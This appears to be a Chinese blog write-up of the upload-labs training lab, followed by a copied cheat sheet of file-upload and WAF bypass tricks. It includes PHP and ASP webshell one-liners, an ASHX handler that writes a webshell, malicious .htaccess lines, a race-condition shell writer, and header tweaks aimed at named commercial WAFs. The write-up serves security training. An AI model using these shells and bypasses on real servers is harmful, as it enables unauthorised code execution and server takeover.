upload-labs训练

Upload-labs

Pass-01

打开网站上传shell马,提示只能上传图片类型的

根据F12大法,发现了检查文件后缀函数

image-20221016121211777

发现是使用前端JS代码进行判断的

image-20221016121250229

那么禁用JS,验证文件后缀就失效了,即可绕过。

Shell马地址就是这个图片的地址

image-20221016121422717

Pass-02

F12大法已经不好用了,不在前端进行判断,那么就是在后端进行判断的

image-20221016152837368

根据源码发现是根据MIME进行判断的,只能是图片类型

收集了一些常见的MIME类型

参考链接:https://blog.csdn.net/fuhanghang/article/details/105347378

然后抓包修改为image/png

image-20221016152516485

成功绕过

Pass-03

根据源码发现是基于黑名单判断的

image-20221016162532031

但是也有绕过方法,用.phtml .phps .php5 .pht进行绕过,需要注意的是要在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht,如果不配置它是无法解析php5代码的,访问的时候就是一个空白页

image-20221016183138533

Pass-04

还是黑名单过滤,只是这次几乎所有的后缀都给过滤了

image-20221016184350047

但是也有姿势,在 Apache 里,.htaccess 是一个配置文件。可以用来控制所在目录的访问权限以及解析设置。可以通过修改该文件的配置项,将目录下的所有文件作为 php 文件来解析。

服务端允许.htaccess 文件生效,需要在 httpd.conf 中修改两处配置项:Apache 加载 rewrite 模块 LoadModule rewrite_module modules/mod_rewrite.so AllowOverride All(默认为 None)

所以我们上传一个恶意的.htaccess文件改变解析,上传含有下面内容的.htaccess文件

1
AddType application/x-httpd-php 

image-20221016185028840

然后制作一个图片马,连Shell就OK

Pass-05

这下.htaccess文件也被禁止了

image-20221016185742758

但是还是有操作,在源码中没有发现转换为小写的代码,所以可以使用大小写绕过。

image-20221016192721385

成功绕过美滋滋

image-20221016210632774

Pass-06

也是黑名单绕过,该禁的都禁了,但是没有去除末尾的空格,所以可以在末尾加空格绕过

image-20221016211514839

Pass-07

根据源码发现没有对后缀名进行去点处理,只是获取了以点开始后面的结尾内容,所以可以在末尾加点绕过(在Windows中末尾如果出现.(点)则会自动过滤)

Linux不行哦

image-20221016211932315

image-20221016211958753

Pass-08

在源码中没有发现对::$DATA进行处理

在window中,如果以 文件名+“::$DATA” 命名,会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名,所以即可绕过

image-20221016212906700

Pass-09

源码中第15行这儿拼接的是文件名

image-20221016214858723

所以我们要想办法在文件名中保留.php,所以可以在末尾加 点空格点 这样的方式绕过

image-20221016214826341

Pass-10

经过调试,后缀被替换为空了

image-20221016215513124

可以双写绕过,因为源代码里只替换了一次,哈哈哈

image-20221016215719580

Pass-11

根据源码发现是白名单检测了,不过是直接拿路径来拼接的,所以只要在路径里截断就能绕过

image-20221016220426442

返回的地址是这样

1
http://192.168.1.144/upload/shte.php%EF%BF%BD/7420221016220352.jpg

把截断后面的内容删了就是shell的地址

1
http://192.168.1.144/upload/shte.php

Pass-12

这题和111题很相似,经过对比,发现这次是用的POST方式传参的

image-20221016221043393

POST传参就不会自动进行解码,所以%00就不会被解析,但是还有办法绕过,那就是在二进制中修改

继续使用%00截断

加个文件名和空格,下面也别忘了改为.jpg

image-20221016222023194

image-20221016222055957

image-20221016222110245

Pass-13

要求jpg,png,gif三种都通过才算过关,先准备三张不同的图片

image-20221016222601523

图片马制作

1
copy i1.jpg/b+php.txt/a 1.jpg

上传都没问题,接下来就是需要文件包含来进行利用了。

Pass-14

使用getimagesize函数获取图片信息

image-20221016225144399

还是可以使用图片马进行绕过

Pass-15

使用exif_imagetype函数校验图片信息,还是可以使用图片马进行绕过

image-20221016225519522

Pass-16

本关验证content-type、还使用了imagecreatefromgif判断是否是GIF图片,并且最后还进行了二次渲染,本来还是GIF图片马能上传成功,但是这题考点好像不止于此。

网上的思路:二次渲染会对图片特定地方进行重写,按照标准格式进行存储,先上传一张正常gif然后下载上传完毕后的图片,作对比,在即使经过二次渲染也没有改变的地方植入木马,最后文件包含执行。

这个题还是有点意思,可以看看详细分析:https://xz.aliyun.com/t/2657#toc-12

可以看到经过二次渲染后一句话没了

image-20221016232835612

经过对比,这部分灰色的没有被渲染,所以重新一句话马写在这个灰色的地方。

image-20221016233021195

image-20221016233639539

Pass-17

出现unlink函数,如果不是图片类型的就会执行删除操作,那么只要我们在执行删除操作之前访问进行触发,即可绕过

发送至爆破模块

1
<?php fputs(fopen('bs.php','w'),'<?php @eval($_POST["10086"])?>');?>

image-20221017000706592

image-20221017002640910

批量发包过程中,只要访问到这个shell.php文件,就会立马生成一个bs.php一句话马文件

成功创建

image-20221017002810678

Pass-18

这题同样也是条件竞争,不过不能直接传PHP马了,只能传图片马,这里做了白名单判断,再检查图片大小,检查文件是否存在,然后把文件上传后立马进行重命名,所以要在重命名之前进行文件包含访问触发。

Pass-19

本关考察CVE-2015-2348 move_uploaded_file() 00截断,可以使用点绕过,也可以在二进制中插入00

image-20221017003744979

直接改后缀也是可以的

image-20221017003935962

Pass-20

暂定…

网上其他文章备份(推荐1)

备份这个大佬写的思路,以防丢失

https://www.cnblogs.com/8gman/p/12319141.html

WAF绕过

安全狗绕过

1.绕过思路:对文件的内容,数据。数据包进行处理。

1
2
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;

2.通过替换大小写来进行绕过

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type

3.通过删减空格来进行绕过

1
2
3
4
5
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格

4.通过字符串拼接绕过

1
2
3
Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata

5.双文件上传绕过

1
2
3
4
5
6
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

6.HTTP header 属性值绕过

1
2
3
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"

7.HTTP header 属性名称绕过

1
2
3
4
5
6
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".

8.等效替换绕过

1
2
3
4
5
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。

9.修改编码绕过

1
使用UTF-16Unicode、双URL编码等等

WTS-WAF 绕过上传

1
2
3
4
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过

1
2
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过

1
2
3
4
5
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

1
2
3
4
5
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition

MIME类型绕过

1
上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

文件内容检测绕过

1
抓包,在正常图片末尾添加一句话木马

多次上传Win特性绕过

1
2
多次上传同一个文件,windows会自动更新补全TEST (1).php
有时会触发条件竞争,导致绕过。

条件竞争绕过

1
通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

CONTENT-LENGTH绕过

1
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

文件内容检测绕过

1
2
3
针对文件内容检测的绕过,一般有两种方式,
1.制作图片马
2.文件幻术头绕过

垃圾数据填充绕过

1
修改HTTP请求,再之中加入大量垃圾数据。

黑名单后缀绕过

文件扩展名绕过

1
Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

ashx上传绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cer,asa,cdx等等无法使用时候。
解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

//这里会在目录下生成一个test.asp的文件
StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
//这里是写入一句话木马 密码是:ptu
file1.Write("<%response.clear:execute request("put"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}

}

特殊文件名绕过

1
2
3
比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。

Windows流特性绕过

1
php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

白名单后缀绕过

00截断绕过上传

1
2
3
4
php .jpg   空格二进制20改为00
IIS 6.0 目录路径检测解析绕过
上传路径改为
XXX/1.asp/

htaccess解析漏洞

1
2
3
上传的jpg文件都会以php格式解析
.htaccess内容:
AddType application/x-httpd-php .jpg

突破MIME限制上传

1
方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。

Apache解析漏洞

1
2
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。

IIS解析漏洞

1
2
3
4
5
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

Nginx解析漏洞

1
2
3
4
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

解析漏洞

1
Content-Disposition: form-data; name="file";  filename=php.php;.jpg

前端限制绕过

1
2
1.使用BURP抓包修改后重放
2.或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

下载绕过

远程下载文件绕过

1
2
3
4
<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>

文件包含绕过

1
2
3
4
上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

网上其他文章(推荐2)

地址:https://txluck.github.io/2021/08/23/文件上传绕过思路拓展/

贴个图

img

类型总结

image-20221017004404389

官方的判断方法

判断上传漏洞类型